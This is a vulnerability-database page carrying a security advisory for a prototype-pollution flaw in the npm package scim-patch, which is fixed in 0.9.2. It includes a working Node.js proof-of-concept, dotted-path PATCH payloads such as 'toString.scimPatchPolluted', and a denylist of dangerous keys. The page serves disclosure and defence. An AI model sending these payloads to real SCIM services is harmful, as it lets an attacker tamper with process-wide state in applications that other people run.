GHSA-2MHW-WCX5-V3XJ

Vulnerability from github – Published: 2026-09-28 14:01 – Updated: 2026-09-28 14:01
VLAI
Summary
scim-patch: Mutation of Inherited Built-in Method Objects
Details

Summary

Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects

scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.

An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.

Impact

A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.

Details

Affected code paths:

  • navigate() reads inherited properties via schema[subPath]
  • assign() uses key in obj, which treats inherited properties as existing

Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.

PoC

const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");

const victim = {
  schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
  userName: "alice",
  active: true,
  emails: [{ value: "alice@example.com", primary: true }],
  meta: { created: "x", lastModified: "x", resourceType: "User" }
};

try {
  assert.equal(({}).toString.scimPatchPolluted, undefined);

  scimPatch(victim, [
    { op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
  ]);

  assert.equal(({}).toString.scimPatchPolluted, "polluted");
  console.log(({}).toString.scimPatchPolluted);
} finally {
  delete Object.prototype.toString.scimPatchPolluted;
}

Output:

polluted

A no-path operation with a dotted value key is also affected:

scimPatch(victim, [
  { op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);

Remediation

Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.

Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "scim-patch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T14:01:15Z",
    "nvd_published_at": "2026-09-23T15:17:15Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIncomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects\n\n`scim-patch` blocks direct dangerous path segments such as `__proto__`, `constructor`, and `prototype`, but still traverses inherited properties when applying SCIM patch paths.\n\nAn attacker who controls a SCIM PATCH operation can use paths such as `toString.polluted` to mutate shared built-in function objects, for example `Object.prototype.toString`.\n\n## Impact\n\nA malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct `Object.prototype` pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.\n\n## Details\n\nAffected code paths:\n\n- `navigate()` reads inherited properties via `schema[subPath]`\n- `assign()` uses `key in obj`, which treats inherited properties as existing\n\nBecause inherited keys are followed, safe-looking path segments such as `toString` can resolve to shared built-in objects.\n\n## PoC\n\n```js\nconst assert = require(\"node:assert/strict\");\nconst { scimPatch } = require(\"./lib/src/scimPatch\");\n\nconst victim = {\n  schemas: [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n  userName: \"alice\",\n  active: true,\n  emails: [{ value: \"alice@example.com\", primary: true }],\n  meta: { created: \"x\", lastModified: \"x\", resourceType: \"User\" }\n};\n\ntry {\n  assert.equal(({}).toString.scimPatchPolluted, undefined);\n\n  scimPatch(victim, [\n    { op: \"add\", path: \"toString.scimPatchPolluted\", value: \"polluted\" }\n  ]);\n\n  assert.equal(({}).toString.scimPatchPolluted, \"polluted\");\n  console.log(({}).toString.scimPatchPolluted);\n} finally {\n  delete Object.prototype.toString.scimPatchPolluted;\n}\n```\n\nOutput:\n\n```text\npolluted\n```\n\nA no-path operation with a dotted value key is also affected:\n\n```js\nscimPatch(victim, [\n  { op: \"add\", value: { \"toString.noPathPolluted\": \"polluted\" } }\n]);\n```\n\n## Remediation\n\nDo not traverse inherited properties while resolving patch paths. Use own-property checks such as `Object.hasOwn(obj, key)` and create missing containers only for safe own keys.\n\nKeep the existing denylist for `__proto__`, `constructor`, and `prototype` as defense in depth.",
  "id": "GHSA-2mhw-wcx5-v3xj",
  "modified": "2026-09-28T14:01:15Z",
  "published": "2026-09-28T14:01:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/pull/1127"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thomaspoignant/scim-patch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "scim-patch: Mutation of Inherited Built-in Method Objects"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…